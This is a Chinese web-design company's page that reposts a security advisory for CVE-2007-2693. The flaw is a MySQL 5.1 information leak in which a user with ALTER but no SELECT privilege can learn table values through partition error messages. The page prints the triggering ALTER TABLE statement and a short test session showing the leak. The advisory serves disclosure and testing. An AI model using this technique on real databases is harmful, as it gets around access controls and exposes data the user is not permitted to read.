建站
咨詢(xún)
售后
建站咨詢(xún)
新聞中心
以下的文章主要講述的那些情況導(dǎo)致MySQL Alter Table函數(shù)的相關(guān)信息出現(xiàn)泄露漏洞，如果你在使用MySQL Alter Table中出現(xiàn)相關(guān)的情況的話，你就可以通過(guò)以下的文章對(duì)其有個(gè)研究吧！
創(chuàng)新互聯(lián)建站專(zhuān)注于網(wǎng)站建設(shè)，為客戶(hù)提供網(wǎng)站制作、成都做網(wǎng)站、網(wǎng)頁(yè)設(shè)計(jì)開(kāi)發(fā)服務(wù)，多年建網(wǎng)站服務(wù)經(jīng)驗(yàn)，各類(lèi)網(wǎng)站都可以開(kāi)發(fā)，成都品牌網(wǎng)站建設(shè)，公司官網(wǎng)，公司展示網(wǎng)站，網(wǎng)站設(shè)計(jì)，建網(wǎng)站費(fèi)用，建網(wǎng)站多少錢(qián)，價(jià)格優(yōu)惠，收費(fèi)合理。
受影響系統(tǒng)：
- MySQL AB MySQL 5.1.x < 5.1.18
不受影響系統(tǒng)：
- MySQL AB MySQL 5.1.18
描述：BUGTRAQ ID: 24008
CVE(CAN) ID: CVE-2007-2693
MySQL是一款使用非常廣泛的開(kāi)放源代碼關(guān)系數(shù)據(jù)庫(kù)系統(tǒng)，擁有各種平臺(tái)的運(yùn)行版本。
MySQL Alter Table功能實(shí)現(xiàn)上存在漏洞，能夠以合法帳號(hào)登錄到數(shù)據(jù)庫(kù)系統(tǒng)的攻擊者可能利用此漏洞非授權(quán)獲取數(shù)據(jù)表相關(guān)的敏感信息。
如果用戶(hù)對(duì)表格擁有ALTER權(quán)限的話，則即使沒(méi)有SELECT權(quán)限也可以通過(guò)ALTER TABLE語(yǔ)句獲得某些有關(guān)表格的敏感信息。例如，用戶(hù)可以發(fā)布以下命令：
- ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));
MySQL會(huì)返回錯(cuò)誤消息：
- "Table has no partition for value 18".
這樣該用戶(hù)就可以知道存在column1 = 18的列。
測(cè)試方法：
以root用戶(hù)發(fā)布：
- mysql> create table tu (s1 int);
- Query OK, 0 rows affected (0.00 sec)
- mysql> insert into tu values (1);
- Query OK, 1 row affected (0.00 sec)
- mysql> grant alter on tu to molly@localhost;
- Query OK, 0 rows affected (0.01 sec)
以molly@localhost發(fā)布：
- mysql> select * from tu;
- ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table
- 'tu'
- mysql> alter table tu partition by list (s1) (partition p1 values in (1));
- Query OK, 1 row affected (0.05 sec)
- Records: 1 Duplicates: 0 Warnings: 0
- mysql> alter table tu partition by list (s1) (partition p1 values in (2));
- ERROR 1513 (HY000): Table has no partition for value 1
以上的相關(guān)內(nèi)容就是對(duì)MySQL Alter Table函數(shù)信息泄露漏洞的介紹，望你能有所收獲。
【編輯推薦】
- MySQL數(shù)據(jù)類(lèi)型與相應(yīng)的建庫(kù)策略
- MySQL數(shù)據(jù)庫(kù)中定義外鍵的必備條件
- MySQL數(shù)據(jù)庫(kù)所支持的三個(gè)引擎
- MySQL Administrator備份與還原數(shù)據(jù)庫(kù)實(shí)操
- MySQL命令行的常用命令介紹
本文標(biāo)題：導(dǎo)致MySQLAlterTable函數(shù)信息泄露的原因
當(dāng)前地址：http://www.fisionsoft.com.cn/article/dhiejjh.html
